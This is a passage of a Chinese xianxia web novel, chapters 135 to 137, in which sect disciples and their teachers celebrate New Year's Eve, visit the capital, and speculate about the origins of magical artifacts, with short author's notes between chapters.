“我没别处可去,只好腆着老脸和你们一起过啦。”褚鹤贤难得用上自嘲的语气,又推开了关云铮剥好的栗子,“吃多了不消化,留给你师兄师姐们吃吧。” 关云铮放下杯子,把栗子收好,放进章存舒顺手做的恒温小炉里:“我们都当褚老是自己人,怎么褚老反而说起这么生分的话?”她捧着暖乎乎的奶茶,“除夕特殊,想吃些什么?我会做的一定亲自做。” 褚鹤贤被她重又逗笑:“不会做的又待如何?” 关云铮面不改色:“三师兄家里酒楼厨子总该会做,只好劳烦他了。” 褚鹤贤被她哄得眉开眼笑:“好,明日我一定早早就来。” 蒲飞鸢同苏逢雨到处游玩去了,步雁山是章存舒的师弟,自己并未有徒弟,自然还是在苍生道过除夕,三位先生独独剩下褚鹤贤,万没有不去邀请的道理。 关云铮起身送了褚老几步,回来坐下时不由想:都说当世天道衰颓,修仙之人不若曾经寿命长久,若是仍在鼎盛时,褚老如今的年纪怕也不过是人到盛年,还会这样露出难得一见的伤怀来吗? 过去在医院见多了把别人的话当耳旁风的老人,倚老卖老对医护人员颐指气使的老人,难得能遇上几个通情达理肯配合的,简直愿意上供三支蓝黑笔以示虔诚。 褚鹤贤这样心思清明的忽然说出方才那话,令关云铮一时很是不忍。 得是多落寞多孤单,才会让一个平素都独来独往的老人说出这话呢? 她又忍不住叹了口气,正要收拾杯盘,脚边飞快窜过什么,带来一阵熟悉的触感。 关云铮了然地蹲下,伸出手让栖霜从自己的腕攀上肩头。 “前些日子我每日和同伴们去喂灵犀,身上沾了蛇味吧?你那阵子都不来了,想来雪貂与蛇的天敌关系令你很不喜欢那味道。”关云铮在小炉里扒拉一番,把一枚小一些的栗子仁递给它。 栖霜用两只后爪勾踩着她肩头布料,身子直立起来,以另两只前爪捧住栗子仁,小口小口地啮咬,对她的话并没有反应。 关云铮托着只雪貂起身,正准备去师兄师姐们的院子里送点心吃喝,忽听得门外传来一阵压抑了的脚步声。 小心翼翼的,活像是要做贼。 关云铮伸手托了一把栖霜的长条身子,正要踏出门看,外头的人毫无征兆地闯了进来,异口同声地喊道:“我们回来了!” 竟是本该在各自门派中过除夕的楚悯三人。 “你们怎么回来了?”关云铮一愣,“明日不才是除夕吗?”没过完节便回来了? 叶泯见了关云铮便要上前,注意到她肩头栖霜,又默默将腕上灵犀放入灵笼,示意自己并无恶意,这才走到关云铮面前:“在归墟接受集中教习的年月并不多得,我们担心你无聊,便赶回来了。” “你们串通好的?”关云铮狐疑,怎么她那枚传音符里一点动静都没有,那可是叶泯学会高阶传音符后做的,能供所有持有该符咒的人即时通讯,是个十分好用的……群聊天方式。 楚悯将那传音符拿在手心:“并未串通,我们也是抵达了山门才知道彼此的想法。” 谭一筠身后跟着子不语:“章先生倒是应该早有所料,护山大阵都为我们三人开着。” 关云铮笑起来:“护山大阵本就为你们三人开着。” **** 除夕一早,照例听了半个时辰的风后,楚悯在山谷中缓步而行,去和同伴们汇合。 灵犀原本的体型太过庞大,出行时只能待在叶泯腕上或者灵笼之中,故而平日叶泯都会让它待在后山,能自由许多。但后山的护山大阵覆盖得并不彻底,青镜山虽处南方,冬日气温也实非蛇类能够忍受,楚悯抵达时便见章存舒和步雁山一道,扩展着护山大阵的边缘。 关云铮见楚悯自雾中走来,朝她招了招手,待人凑近,便愁眉苦脸道:“你说我是不是该去请凌师伯一同过除夕?” 楚悯很能感同身受,因此也皱着眉:“要不让掌门去请吧?” 这事本来就是随性为之,不是谁的责任,关云铮也只是发点闲愁,被楚悯这么一说反而笑起来:“还是我去吧。” 那头谭一筠和叶泯喂完灵犀回来,章存舒和步雁山也忙完了,一群人聚在一处,正准备往苍生道院走,忽听步雁山说道:“师兄,来去峰上的护山大阵,是不是也该修补一番?” 关云铮一愣,随即小心翼翼地看了章存舒一眼,发现她师父的神情很坦荡:“也对,不如现在就上去修补吧?” 他轻松的神情不似作伪,连发问的步雁山都没能预料,愣了一瞬才说:“好,我随你一道。” 两人有说有笑地上山去了,徒留四个小辈在山谷逐渐暖起来的风中出神。 叶泯回不过神来:“护山大阵范围扩大后,小悯听的风是不是也会变化?” 谭一筠也仍在走神:“大概会吧?” 楚悯失笑:“这似乎并非当下的重点吧?” 关云铮喃喃:“我好像非得去请凌师伯不可了。” 四人鸡同鸭讲般说完,纷纷笑起来,护山大阵隔绝了外界的寒风,想必暖风会吹到每一处角落吧。 关云铮从这暖风中受到了极大的鼓舞,拉着楚悯就往凌风起院子的方向走。 只是山谷中的风由冷至暖,才能给关云铮燃一把至关重要的动力,去往凌风起院子的路上却始终被暖风环绕,关云铮走着走着,心里的勇敢就冷却了。等到了凌风起院外,则彻底打起了退堂鼓,她只是站在此处,仿佛就能感受到凌风起那张嘴所吐露出话语的杀伤力,简直想在暖风中打个寒噤。 “要不还是回去让掌门来请吧?”关云铮自言自语,她还是被师门保护得太好了,一想到凌风起吹胡子瞪眼的模样就头皮发麻。如果凌风起说话只是纯粹的难听,倒也不足为惧,毕竟她怼人也是专业的,但问题在于……凌风起此人说话不只难听,还难听得十分有条理,让人无法反驳。 “在我院外逡巡不去,我吃人?”凌风起脚步无声无息,冷不丁在她背后问道。 关云铮久违地被吓了一大跳,立马转过身:“凌师伯。” 凌风起怀里揣着栖霜,栖霜则揣着个药瓶,黑豆似的眼珠一眨一眨。 “是要请我一起过除夕?”凌风起大发慈悲似的问道。 关云铮点点头。 凌风起抱着栖霜转身:“那走吧。”—— 作者有话说:这几天工作太忙了,本来应该写6k的,实在写不出来,周末争取多写点。下周还要出差,我就这样碎掉……还有谁没看云崽的人设卡!请看![撒花] 135-140 第136章 没等到意料之中的狂风骤雨, 凌风起态度堪称温和,只不过依旧不大理人,抱着栖霜独自走在两人之前, 拉开了一大截距离。 关云铮木然地看了一会儿他的背影, 忍不住扭头与楚悯咬耳朵:“凌师伯别是吃错丹药了吧?” 楚悯忍笑忍得艰难:“倒也没有这样劣迹斑斑吧。” 凌风起的脚步突兀地一顿,关云铮立刻警醒, 本要说出口的话瞬间被咽了下去, 端着一脸若无其事与转身回看的凌风起对视:“怎么了凌师伯?” 语气那叫一个乖巧。 凌风起竟没挑刺,反而大发慈悲似的:“走得这样慢,大清早的累着了?” 这话换了蒲飞鸢来说一定是关心,但凌风起这么一说,就无端带了点阴阳怪气……关云铮和楚悯齐齐一凛,加快脚步跟上。 凌风起看她们靠近, 从栖霜两爪之间把药瓶抽出来丢给关云铮:“新炼的丹。” 关云铮猝不及防,连忙伸出双手接住:“多谢凌师伯, 可我近日不曾受伤。” 凌风起顺了一把栖霜的毛,没回头:“给你稳固根基用的, 近日不是在同嵩华比试?别太急功近利, 注意着些。” 这简直让人有些受宠若惊了。 关云铮一度认为凌风起对于自己的态度,是某种程度上他对于章存舒态度的映射,而如今他对自己是这个态度, 又愿意来苍生道一同过除夕, 想来是与师父之间龃龉渐消了? 想来也是,师父今日还答应了上来去峰,像是打破了某种自己设下的禁忌,不再对戚寻月相关的事讳莫如深了。 难得练功专注一回,竟然错过了师父师门中这样大的进展! 她当下只见得变化的结果, 便觉此事有些突兀,然而她也清楚此事并非一朝一夕内变化至此,一定是有某个契机,促成了这样潜移默化般的过程。 会是什么呢? 她犹在出神,走在前头的凌风起忽而又回头,向着走在关云铮身边的楚悯道:“至于给音修提升耳目的丹药,我尚在炼制,待确认药性后再给你。” 楚悯一愣:“凌先生不必……” 栖霜怀里没有药瓶,便用爪子扒拉起凌风起胸口的乾坤袋,被扒拉的人一手捏住雪貂的后颈皮,一手将乾坤袋拿远了些:“你这样用功,尽我所能助你也是应该的。” 说话间已经走到了苍生道院附近,不知感受到了什么,凌风起忽而一皱眉:“章存舒不在?” 关云铮老实答话:“应是和掌门去扩展来去峰上的护山大阵了,还没回来。” 只见听了此言的凌风起神色微怔,随即转身朝她走来,把栖霜塞进她手里,腰间的剑已经出了鞘,竟然一声不吭就御剑上来去峰去了。 关云铮手上还有一股灵犀的味道,栖霜在她手心待了不到几息便窜了出去,熟门熟路地直奔饭堂去了。 楚悯与茫然的关云铮对视一眼,发现自己也挺茫然的:“凌先生应该确实吃错药了。” **** 除夕人多菜色多,不可能让李演一个人忙碌,苍生道四个弟子全都在灶间打下手,一群人没到中午便忙得团团转。 “待会儿这顿打算吃点什么?”李演在忙碌的空隙还不忘询问。 “我家乡的习俗是中午凑合两口,年夜饭时吃得丰盛。”关云铮把洗好的菜放进篮子,“要不吃饺子?” 楚悯正帮着递碟子:“饺子?” 关云铮顺嘴解释了一句:“省心省力。” 李演语气幽幽:“省你的心力吧。” 又得揉面擀皮,又得动手拌馅,还得包,省的哪门子的心力? 关云铮回过头,默默看向闻越:“师兄。” 闻越早有准备:“我让酒楼的厨子给我备了。” 李演没话说了,相当不客气地翻了师兄妹一眼。 正好手头的活计完成了,闻越在衣摆上擦干手上的水:“云崽小悯下山取一趟吧?” “你不下山擦什么手?”连映自他身后经过,又将一摞碟子放到他手边,“还当是你要躲懒。” 闻越快冤死了:“我这不是看云崽要下山,准备顶一会儿她的位置吗?谁说我要躲懒了?” 关云铮直想笑,拉着楚悯起身溜了:“那我和小悯下山一趟,辛苦师兄师姐继续给李厨帮忙了。” 还没等李演转过身,她又极其有眼力见地补充:“李厨最辛苦。” 四面玲珑地安抚完师门,关云铮带着楚悯御剑下山,直奔闻家名下的酒楼。 如今她御剑术已学得愈加平稳,多载一个人不是问题。镜溪城本就在青镜山下,御剑更是迅捷,不消片刻两人便抵达城门,一同落了地。 镜溪城内张灯结彩,大街上人群熙熙攘攘,几乎要没处下脚。 关云铮拉着楚悯往酒楼方向走,被人群挤得快要心烦意乱时,一阵奇异的甜香忽而拂过两人的面颊。 “殷姐姐?”关云铮若有所觉地一扭头,正对上人群中笑着执扇的女人。 殷含绮抬手将楚悯被挤乱的衣袖理了理:“除夕这样的日子,你们不在山上,下山做什么?” 看清两人行进方向,她又了然道:“哦——是在闻家酒楼订了东西,下山来取的?”她轻笑一声,“闻越那小子怎么不自己下山,还劳动他两位师妹。” 关云铮实话实说:“还好他没下山,不然碰见你了,岂不是又要闹不高兴。” 殷含绮被她逗笑,用团扇掩着嘴笑了好一会儿:“我管他高不高兴。” 她像是忽然想起什么,眨了眨眼睛:“对了,有几个不知算好还是坏的消息,你们要不要听?” “听。”关云铮和楚悯异口同声。 “季邕死了。”殷含绮毫无铺垫地平铺直叙,“自上次折磨过后我便没多管他,只让人盯着不让他再作怪,两日前派出去的手下向我禀报,说他已经死了。” “怎么死的?”楚悯比关云铮还要关心此事,还没等殷含绮话音完全落下,便追问道。 “冻死的,”殷含绮勾唇一笑,“是不是很奇怪?” 镜溪城冬日虽算不得暖和,但也决计不到能冻死人的程度,季邕这是作了多大的一回死,才能在这样温和的冬日里冻死? “听手下汇报,他自成了废人后愈加烂泥扶不上墙,整日整日地饮酒,那日出事时正从一酒肆走出来,手中还提着一壶,与人行走碰撞间尽数洒在了自己身上。”殷含绮跟随着两人的脚步往酒楼的方向走,“他被酒气熏得头脑昏然,竟一头栽进了排污的水沟里,而后迷迷糊糊地自己爬上来,就这样回了家。” 殷含绮笑叹一声:“第二日,他府中家丁呼门不应,推门而入,才见他尸首已然冰凉,躺在榻上时却敞着怀,脸上带着笑。” “冻死之人……倒确乎是这副模样。”关云铮迟疑,为着这样的祸患竟死得这样轻易,而感到一阵惘然。 “据传回的消息,季邕死时仍穿着前日里摔下水沟时所着衣物。”殷含绮又补充了这么一句。 “难怪。”关云铮若有所思。 “难怪什么?”楚悯看向她。 “他衣服上泼了酒,又摔下水沟,衣物早就湿透,这样的日子却因为醉酒忘了脱衣,湿衣服裹住他的身子,又不可避免地遭了寒风吹拂,失温了。” 难怪会活活冻死。 “殷姐姐方才说有几个消息,其他的呢?”三人抵达了酒楼,索性寻了张空桌,坐下闲谈片刻。 “还有,关家老爷也死了。”殷含绮特意改了个称呼,“大约是那痨病实在凶残,他到底是挨不过这一冬。” 虽说生了病的老人大多挨不过冬天,但关家这位正值壮年,按说不该死得这样早。 再说了,痨病在古代大约都是传染得来,他又是从哪染上的这病呢? “关家夫人并不多伤心,派去的人还说,听着她愤愤地说些什么,都是报应,染上这脏病,之类的话。”殷含绮一面回忆一面复述道。 关云铮陷入了一阵沉默。 哈,原来是这么传染的,就知道原身这个家无可救药。 “关夫人这几日兴许就要回娘家去了,最迟元宵后动身。”殷含绮见酒楼老板向这边走来,默默换了个位置,让关云铮坐得更显眼些。 “她娘家在何处?”关云铮对着酒楼老板点点头,“此去彻底无人作陪,想必路上会很难熬吧。” 酒楼老板将闻越预订的饺子皮和馅料尽数捧上桌,木盆中有隔板,饺子皮放在盘中:“姑娘们可是御剑来的?这木盆略沉,怕是影响。” 关云铮不甚在意地朝他笑了笑:“不妨事,我们有法子,多谢店家。” 酒楼老板拿钱办事,更何况涉及小公子师门,大公子和小公子都会给钱,本已是拿人手软了,此刻更是不敢受这道谢:“姑娘客气了,这都是我分内之事。” 关云铮笑着跟人说了几句,等酒楼老板终于如释重负地走回柜台,发现自己都出汗了。 “师兄家里是给了他多少钱,他也太客气了。”关云铮嘀咕,“我要是拿多了钱也这个嘴脸。” “闻逍向来溺爱弟弟,这酒楼最初的菜单也全是依着闻越喜好来的。想来店家为你们苍生道提供饮食,不止能收到闻越的一份报酬,还会有他大哥的一份。”殷含绮以扇掩口,打了个惫懒的哈欠,“旁的没什么事了,若是有重要的,我自会给你传信的。” 说完她便起身要走,关云铮连忙叫住:“怎么传信?” 殷含绮没回头,只对她摇了摇手中团扇,原封不动地引用了她方才的话:“我自有法子。” 她摇着扇子走了,关云铮和楚悯的目光重新落回那堪称巨大的木盆上。倒不是不能用御物术操纵,但毕竟在镜溪城中,随意动用法术还是太引人注目了,平日若是有需要搬运的东西,一般都用的是一瞬即逝的传送阵法。 自从前阵子,谭一筠用阵法传送回农庄送来的瓜果蔬菜后,传送这一项原本由李演盯着的事便悉数交给了谭一筠,既是给李演减轻了负担,也是增加了谭一筠平日锻炼的机会。 关云铮和楚悯与殷含绮道别,随后便从乾坤袋摸出那张传音符来:“话痨,来活了。” 谭一筠的声音很快从那边响起:“你们在酒楼?” 楚悯四下环视:“我记得你在酒楼也预设了阵法,怎么没找到?” 叶泯的声音传来:“就在我们寻常去吃饭的那张桌底。” 关云铮和楚悯:“……” “我说你就不能把阵法放在体面一点的地方吗?”关云铮忍无可忍地问。 上次在山门前找阵法差点把她找成野人,钻进树丛里找了半天才找着阵法的光,出来时顶了满头的枯叶,回去后就揍了谭一筠一顿。 谭一筠言辞闪烁:“那不是要隐蔽行事吗?” 楚悯看了眼那张他们常坐的桌子,此刻正被其他人围绕着:“倒也不必如此隐蔽,谭兄。” “怎么了,那张桌子有人?”叶泯又凑近了问道。 关云铮叹了口气,看向仍站在柜台后的酒楼老板:“店家,劳烦您叫个伙计,帮我搬一趟吧。” **** 最后众人吃上饺子已经是一个时辰后了。 闻越熟知众人的喜好,饺子馅料就安排了好几种,他抱着属于自己的那碗坐下时,关云铮正从连映碗里夹饺子。 “怎么还吃师姐的?”闻越侧脸看她。 关云铮不爱吃水饺,更喜欢蒸饺,但又好奇师姐碗里那几个水饺的味道,于是在征求同意后夹走一只:“嗯?荸荠?” 这一只饺子仿佛打开了新世界的大门,关云铮筷子一转:“师父,你还没吃吧?” 章存舒抬手夹了一只给她。 “哦,芥菜。”这是不太满意。 江却也将自己还未动的碗推过来:“我的与你一样,是荠菜的。” 关云铮若有所思地看了看他碗里由李演调配的汤:“那我也尝尝。” 好吃。永爱荠菜。 关云铮不是宰相,肚量有限,还没尝遍百饺已经饱了,放下筷子起身:“我还是去打下手吧,馋瘾一犯简直没完没了。” 楚悯抱着碗站在她身侧:“你要杀鱼?” 关云铮迟疑:“不了吧。” 楚悯若有所思:“那你要杀鸡?” 关云铮:“……” 发现李演除了杀鱼杀鸡已经把所有事都做好的关云铮:“我还是歇着吧。” 褚老上了年纪,不敢多吃,也早早放下了筷子:“云崽,来,陪我手谈一局。” 关云铮闻言大惊失色:“我不会下棋。” “褚老教你呗。”闻越撺掇,他起身把关云铮推过来,“你就别忙了,往日还不够忙吗,今日歇着就是。” 关云铮茫然地被推着走了好几步:“那我下棋去?” 闻越“嗯”了声,又看向同样快吃完的楚悯:“小悯也一起去吧?” 还没吃完就被安排好的楚悯眨眨眼:“好。”—— 作者有话说:昨天不够的2k+今天的2k,下一更应该是周二6k。 想要评论[可怜]好久没看到新评论了[爆哭]开学后肉眼可见的惨淡,呜呜 第137章 即便众人齐上阵, 年夜饭筹备也花了大半日的时间,对比之下,吃饭所需的时间顿时短暂了不少。日子特殊, 年夜饭期间师长们喝了点酒, 席间的氛围顿时便不再拘谨,众人都多说了几句话。 谈话间凌风起像是忽然想起什么似的, 又从乾坤袋中摸出几个药瓶, 一一分给关云铮四人,明明是关心,却又懒得解释,嘀咕了几句四人听不清的话,便又拿起酒杯自斟自饮。 不愧是连剑名都叫“浮白”的人,实在海量。 步雁山一看就在憋坏水, 笑眯眯地给他们“中译中”:“大师兄说这是解毒的丹药,出门在外若是遇上特殊情况, 记得先行服用,可保平安。” 没管一旁忽然开始吹胡子瞪眼的凌风起, 他接着说道:“要是遇到解毒丹都解不了的毒, 就快些回归墟求援。” 褚老也笑着:“这话不吉利,大过年的怎么说出来了。” 步雁山活像是喝醉酒了,立马抬手指凌风起, 脸上竟带着晚辈向长辈告状的神情:“大师兄说的, 我只是转述。” 凌风起登时怒目而视:“我方才分明没说这话!跟你师兄学坏了!” 坐在一旁专心吃菜的章存舒无端被指责,一脸莫名地停住筷子:“师兄怎么又来了,说不过师弟就说是我把师弟带坏了。” 长桌另一边的关云铮叼着鸡腿,瞳孔地震:原来师父的师门是这样的相处模式吗?三个成年人如同小学鸡打架般拌嘴,还啄得有来有回, 句句有回应…… 同样对此情此景毫无防备,楚悯伸出去夹鱼肉的筷子都打滑了两次,与关云铮对视时两人都很茫然。 难怪步雁山先前那么想让两位师兄和好,原来和好之后是这样的…… “师弟也没说错,师兄你以前不就是这么跟我们说的,‘这解毒丹能解百毒,解不了的就赶紧跑回师门找你,也好让你多研究一种毒’。”章存舒扒起陈年旧事,语气听不出与凌风起之间有半分龃龉,期间还悠然自得地喝了一口酒。 凌风起把酒杯放下,不满地“啧”了一声,却到底没再反驳,脸上的情绪也不是多么消极的。 叶泯凑到关云铮身边:“我还以为他们要打起来了。” 谭一筠语气幽幽:“应当只是闹着玩。” 师长们要打起来似的闹着玩,褚老笑呵呵地看着,小辈们埋头吃喝,一顿年夜饭就这样平淡无奇地过去了。李演收拾桌子时关云铮撑得眼前发晕,只能一脸严肃地对李演表达了自己的有心无力。 章存舒和自己的师兄拌完嘴,见关云铮已困得不住点头,忍不住揶揄:“我本想带你们去朝安看看,既然这么困,不如不去了?” 关云铮“噌”地坐直了,脑子还没完全处理好信息,身体已经先动了,两眼放光道:“去!” 然而对于新事物的喜悦很快被现实的担忧击溃了,关云铮想起楚悯之前同她说的,章存舒带人缩地成寸时格外眩晕的话,顿时又打起了退堂鼓:“但是师父你带我们缩地成寸的话……” 她现下吃得这么撑,怕自己半路就得吐了。 章存舒失笑:“我倒也不是次次缩地成寸都那般让人难受。” 叶泯瞪圆了眼睛:“所以章先生那次果然是故意的!” 凌风起还没忘了掺和一句:“我就说他劣迹斑斑吧。” 被围攻还无力反驳的章存舒:“……” 总之最后还是由劣迹斑斑的人带着他们缩地成寸,来到了朝安城。 为免忽然出现引得路人侧目,此次落点是城中一处偏僻的角落。章存舒兑现了承诺,关云铮落地时并不觉得多晕:“师父,师兄师姐们还有师叔师伯怎么不一起来?” 章存舒象征性地对她掰了掰手指:“那是不是也太多人了?” 也对。一大帮人走在街上,还穿着一眼就能看出来自仙门的奇装异服,能不能开心逛完朝安城不好说,引来仙盟执法的概率比较大。 章存舒说完,领着他们往光亮处走:“你们好像都未曾来过朝安,便带你们来看看。” 他话音刚落,五人步入街道,万千灯火骤然撞入眼帘。 饶是早就做好了心理准备,四人还是被眼前的繁华震撼,呆愣在原地。 街头巷尾的每一家店铺都张灯结彩,每一处角落都被华灯点亮,人群熙熙攘攘,喜色盈满眼角眉梢。 虽然并非诗词中描绘的节日,但关云铮还是想到了那一句——“凤箫声动,玉壶光转,一夜鱼龙舞”。 原来是这样的景象。 千百年前描绘的画卷,她终于得以亲见了。 **** 觥筹交错之声渐次远去,宫中的钟鼓仍在这个特殊的日子里奏响,仿佛在宣告,琉璃瓦覆盖下的宫闱中,那位皇帝也在与民同乐。 苍韫桢摘下冠冕,随手解开束起的长发,又抓过一边挂着的大氅披在身上,拂开一众随侍,孤身往殿后花园走。 却未料花园中竟有人。 关云铮腰间佩着剑与刀,正坐在花园亭中拨弄着棋盘上的棋子。 苍韫桢迈入亭中,抬手将亭边另一盏灯点亮。 “你师父呢?”她在桌边坐下,将大氅解开。亭中早有人烧了暖炉,三面又都以厚重的帘子隔开寒风,并不多冷。 关云铮从棋盘上抬起视线,歪了歪头:“我就不能是独自来的?” “自然可以,但你是独自来的吗?”苍韫桢随手捏起一枚棋子,“应当还有其他同伴一起吧,他们去哪了?” “在皇宫别处随便看看呗。”一日速成不了围棋,关云铮眼下看着这桌残局就头痛,收回视线,“柳大人今夜不在宫中吗?” “不在。”苍韫桢已经自己同自己下起了残局,“她家中父母健在,自然要回去的。” 苍韫桢此言并无寂寥的意味,但使关云铮想起了幻境中她曾说过的那句话。 幻境中她带来了洞玄,得知自己一年后即将“众叛亲离”,那现实呢?苍韫桢所经历的现实会与他们一样,与谭一筠一样,依旧无法被幻境改变吗? 苍韫桢没看过第二次幻境期间他们的表现,虽有洞玄在手,但也不知对此事是否知情。关云铮犹豫着要不要问,最终还是硬着头皮坦诚道:“陛下,上月幻境考核时,我在其中见到了您,幻境布设的是去年的翠屏山大比。” 苍韫桢从棋局中回过神来:“那时我确实在翠屏山。” “您……在幻境中将洞玄带在身上,还进行了占卜,得到了昭示的结果。”关云铮继续说道。 “结果?是什么?”苍韫桢似乎不太在意,只随口问了这么一句,便又将心神投注于棋盘之上了。 “您说,洞玄昭示,您未来会众叛亲离。” 嗒,棋子落在棋盘上的脆响。 前几次与苍韫桢交流时,她态度太过随和,导致关云铮此言出了好一会儿,才意识到这话实则非常没有分寸,或许够她被杀好几次头。 ——然而苍韫桢却没生气。 她收回执棋的手,思索了片刻:“幻境中我为何带着洞玄?” 还没等关云铮回答,只见眼前的女帝又露出了恍然大悟的神情:“哦,我知道了,应该是因为幻境中你带着将隐,而我出发前用洞玄卜了一卦。” 将隐与洞玄之间确实有感应,正如她赶往江县时感受到了洞玄的存在,幻境中的苍韫桢想必也通过洞玄感知到了将隐所在,故而才带着洞玄前来一探究竟。 但现实中的翠屏山大比发生在去年,这个世界还没有关云铮,楚悯的父亲也还没有造出将隐,所以苍韫桢并不觉得有带洞玄参与大比的必要。 也就……没能得到那句“众叛亲离”的昭示。 “不过即便现实中我得到了这样的昭示,多半也不太在意。”苍韫桢又开始执棋落子,“虽然江县之事了结后,洞玄的昭示确实得到了应验,但早在昭示揭晓之前,他们就不是我的亲人了。” 这么多个月过去了,还是动辄能把天聊死……关云铮在心里幽幽叹气,因为对自己的聊天水平实在不敢恭维,干脆不说话了,支着下巴看苍韫桢下棋。 “会吗?”苍韫桢拿起一枚黑子递给她。 关云铮老实摇头:“白天褚老教过,还没完全学会。” 苍韫桢把黑子塞她手里,先前沉重的话题被她轻描淡写地揭过:“那就试试,反正你我都闲着没事。” 彳亍口八。 **** “所以后来你学会下棋了吗?”次日清晨,叶泯叼着窝窝头好奇。 “没有,”关云铮打了个哈欠,昨夜在朝安待得太晚,除夕夜里宵禁也晚,遑论在几乎灯火通明的皇宫,“陛下根本不管我,我乱下她也跟着乱下,本来就学得稀里糊涂,昨晚过后彻底混淆了。” 谭一筠拿过一粥碗,同样困倦地给她竖了个大拇指:“不愧是陛下。” “你同她说了幻境中洞玄昭示?”楚悯照例早起听风,此刻是四人中唯一一个清醒的,“她怎么说?” “预料之中的样子,除此之外什么也没说,态度倒是与幻境中一模一样。”关云铮按了按太阳穴,强打精神,“当时在幻境中,她也只是同我解释了一番洞玄昭示的意义,其他什么也没提及。” ——“我身边已经没什么亲人了,若非要算上那些个皇亲国戚的话,那大概也就是三皇叔和三皇兄了吧,他们各有抱负,阳奉阴违或是当面反目,皆有可能。” “她在幻境中是这样说的。”关云铮叹了口气,“皇室跟三犯冲?怎么搞事的全是排老三的?” 叶泯艰难地嚼着窝窝头,期间还没忘了点评:“这是能说的吗?” 谭一筠吃了口李演腌的萝卜,被酸得面目狰狞,顿时也清醒了:“嘶……这样说来,即便是现实中她不曾将洞玄带去翠屏山,应当也对恭亲王和三皇子未来会背叛一事,了然于心吧?” 只不过三皇子不是她的亲哥哥吗?怎么在她口中,又只是个“皇亲国戚”? “她或许也并不觉得,恭亲王和三皇子所为是背叛吧。”关云铮原本已在埋头喝粥,忽而抬起头来这样说道。 苍韫桢对待此事的态度实在是很奇怪,若说她早有预料且将其视作背叛,总归要付出一点行动来阻止才对吧?可她却既不阻止也不愤怒,仿佛坐等这些事发生一般。 之前在江县,柳卿知也借由洞玄,对江县即将发生的大火了然于心,却也并未阻拦,只是提前做好了应对的准备,杜绝了伤亡。 她会是在苍韫桢的授意之下才这样做的吗? 关云铮想不明白,又喝了一口粥:“算了,还是不聊这个了,总感觉这个话题不是我们该聊的,越来越不能说了。” “那说点能说的吧。”叶泯无端振奋起来,“你们说第三次幻境考核会是什么样的?前两次都是现实中发生过的事,下次会不会也是一样?” 关云铮听得一脸木然,简直想再往他嘴里塞一个窝窝头:“这确实能说,但我听不得一点。” 谭一筠也一脸消化不良,明显还没从上一次幻境带来的心理阴影里走出来:“我对翠屏山大比之前的仙门大事都没什么印象,不知道章先生会做如何安排。按理来说为了历练,多半会安排些至关重要的大事件,但前两次幻境事件若放诸四海,其实也算不得什么大事。” 楚悯点点头,总结出结论:“猜不出来,尤其在出题考官还是章先生的情况下。” 关云铮:“……”总之谜语人真是太可恶了。 相继两个话题都被扼杀在了摇篮里,楚悯又自然而然地起了另一个话题:“对了云崽,此次归家我与父亲说起了洞玄与将隐之间或许存在的联系一事,他有些新的想法。” “什么想法?”关云铮支棱起来,“这种联系确实是可能存在的?” 楚悯点点头:“某种意义上来说,将隐更接近于溯洄的权能在法器上的呈现,所以父亲才能打造出将隐,毕竟他也是溯洄的缔造者。但洞玄在诞生之初,权能的范围甚至将溯洄也涵盖其中,不仅可以回溯,还能朝前推演,这就导致此前父亲始终不相信,洞玄竟出自一个江湖散修之手。” 毕竟法器之所以被称作法器,其诞生前一定是由某种法力塑造的,并且足以承载某种法力。足以缔造出溯洄的法力令楚泽枫七情尽失,那足以缔造出洞玄的法力又会是什么样的?这人难道真的只是个籍籍无名的江湖散修吗? “洞玄的制造者,不是在洞玄面世一年后就死了吗?”谭一筠皱起眉头,“如果他是倾尽全部修为打造的洞玄呢?” “问题在于,此人并非死于修为尽失后的灵气衰竭,是离奇暴毙的。”关云铮截口否认了谭一筠的猜想,“这是陛下告诉我的。” 对了,苍韫桢当时有意无意地将楚悯的叔父与洞玄的缔造者相提并论,是不是也是一种暗示? 楚悯注意到了她凝滞的神色:“云崽?你想到什么了?” “我就是在想……溯洄是你父亲在你叔父逝世后打造出来的,洞玄又与溯洄在权能上有所交集……”关云铮喃喃,“而洞玄权能的范围缩减,似乎……” “与我叔父过世的时间相差不多。”楚悯以一种笃定的语气接上了她的话茬。 越是影响范围广的事件,重合的可能性就越小,出现巧合的概率也就越低,故而小悯叔父过世同时促成了将隐的诞生与洞玄权能的消亡,这几乎……不可能是巧合。 可这又会是谁的机关算尽? “此次归家,父亲告诉我,他其实不太能理解溯洄为何能够成功,虽然他舍弃了自己的情感作为代价,但溯洄这样庞大的镇山神器,以一个人的情感作为代价是远远不够的。”楚悯下意识往来去峰的方向看了一眼,仿佛这一眼能跨越距离,投视到另一个镇山神器之上,“后来他在将隐之上付出的努力则更证实了这一点。 “有一股我们尚且不知的助力,在推动着溯洄的落成、将隐的诞生。”楚悯用平静的语气说出这些话,效果却不啻于平地响起的惊雷。 “那洞玄呢?也会是这股助力在背后捣鬼吗?”会有这样一个存在,促成了这两大法器的诞生,又卸磨杀驴般地,摧毁了洞玄的缔造者和小悯的叔父吗? “不无可能。”楚悯答道。 **** 本来新年伊始,大可不必在这几日急着修炼,但在叶泯提起第三次幻境后,四人皆是如临大敌,吃过早饭后便打算继续修炼。 不过毕竟日子特殊,四人也没打算过于苛待自己,随便练练就差不多了,便一同前往关云铮的小院。 “对了云铮,之前我和叶泯初来归墟时,那无故挑衅你们的人,这段日子似乎安分了许多?”谭一筠忽然想起此事,握着子不语看向关云铮。 “他?”关云铮侧过头,“大概有别的谋算吧。” “什么意思?”叶泯警觉地扭头,“他又作什么死呢?” “前阵子,就是三师兄刚跟着褚老学符咒那段时间,有一日我们三人在阁楼,听见暗处有脚步声,褚老打了一道‘寻踪’过去,却没有抓到人。”关云铮回忆着说道,“后来褚老用了些手段,捕捉到了一点灵气的痕迹,确实属于那姓赵的。” “他偷听你们说话?”谭一筠皱眉,“你们那时在说什么?” “就说了些传音符的媒介与等阶,没什么特别的。”关云铮也想不通,但是又懒得搭理这号人,所以没太放在心上。 谭一筠的神情却不太轻松:“云铮,先前在我们之后,仙盟又塞了一批人进来,前些日子我看他们常扎堆在一处,若是路过时与他们不小心对视上,那些人还会迅速散开,像是在密谋。” 经他这么一提醒,叶泯也想起来了:“我们进入归墟的时间差不多,芥子被安排在一处,平日确实经常碰见,但倒是没注意过里头有没有那个……赵乾什么。” 关云铮摆摆手:“我一般管他叫欠打。” 谭一筠和叶泯双双愣住,随即不约而同地爆发出一阵笑声。 两人笑得直不起腰,看得关云铮一脸莫名:“有这么好笑?” 你们修仙人谐音梗还是听少了。 